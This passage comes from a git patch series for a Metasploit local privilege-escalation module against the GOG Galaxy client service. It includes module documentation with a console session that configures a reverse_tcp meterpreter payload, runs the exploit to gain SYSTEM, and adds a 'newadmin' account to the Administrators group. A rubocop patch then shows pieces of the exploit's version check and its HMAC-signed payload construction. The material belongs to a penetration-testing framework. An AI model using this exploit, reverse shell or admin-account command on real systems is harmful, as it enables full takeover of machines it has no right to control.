exploit(windows/local/gog_galaxyclientservice_privesc) > set session 1 +session => 1 +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set lhost 192.168.37.1 +lhost => 192.168.37.1 +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > check +[*] The target appears to be vulnerable. Vulnerable version found: 1.2.66.64 +msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > run + +[*] Started reverse TCP handler on 192.168.37.1:4444 [*] Starting GalaxyClientService... [*] Service started successfully. [*] Connecting to service... +[*] Writing C:\Users\space\AppData\Local\Temp\mqslPXvWyu.exe to target [*] Connected to service. Sending payload... +[*] Sending stage (201283 bytes) to 192.168.37.131 +[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.131:50857) at 2020-06-15 08:35:59 -0500 [+] Command executed successfully! -[+] Hint: to add the new user to the local Administrators group, set the ARGS option to "net localgroup Administrators [user] /add" -[*] Exploit completed, but no session was created. -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set ARGS "net localgroup Administrators newadmin /add" -ARGS => net localgroup Administrators newadmin /add -msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > exploit - -[*] Started reverse TCP handler on 10.0.2.18:4444 -[*] Attempting to execute "C:\Windows\System32\net.exe net localgroup Administrators newadmin /add" with SYSTEM privileges... -[*] Starting GalaxyClientService... -[*] Service started successfully. -[*] Connecting to service... -[*] Connected to service. Sending payload... -[+] Command executed successfully! -[+] Hint: to add the new user to the local Administrators group, set the ARGS option to "net localgroup Administrators [user] /add" -[*] Exploit completed, but no session was created. +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-AQT4EG1 +OS : Windows 10 (10.0 Build 18362). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 15 +Meterpreter : x64/windows ``` - -### Version and OS - -This exploit works on the Windows version of GOG Galaxy v1.2.64 and earlier, and v2.0.12 and earlier. From 21ccb229b27447b0ca7018da0577ca8a876d4634 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 15 Jun 2020 08:48:51 -0500 Subject: [PATCH 8/8] rubocop changes --- .../windows/local/gog_galaxyclientservice_privesc.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb index 3a7e2fdfcd..48b907021c 100644 --- a/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb +++ b/modules/exploits/windows/local/gog_galaxyclientservice_privesc.rb @@ -34,7 +34,8 @@ class MetasploitModule < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ - [ 'Windows (Dropper)', + [ + 'Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, @@ -66,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Local end def check - log_path = expand_path("%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log") - service_path = expand_path("%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe") + log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log') + service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe') return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path) return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path) @@ -78,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Local end return CheckCode::Detected('Galaxy Client version not found') unless ver_no + version = Gem::Version.new(ver_no) return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13') @@ -187,6 +189,6 @@ class MetasploitModule < Msf::Exploit::Local gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01" payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd) - data = header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd + header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd end end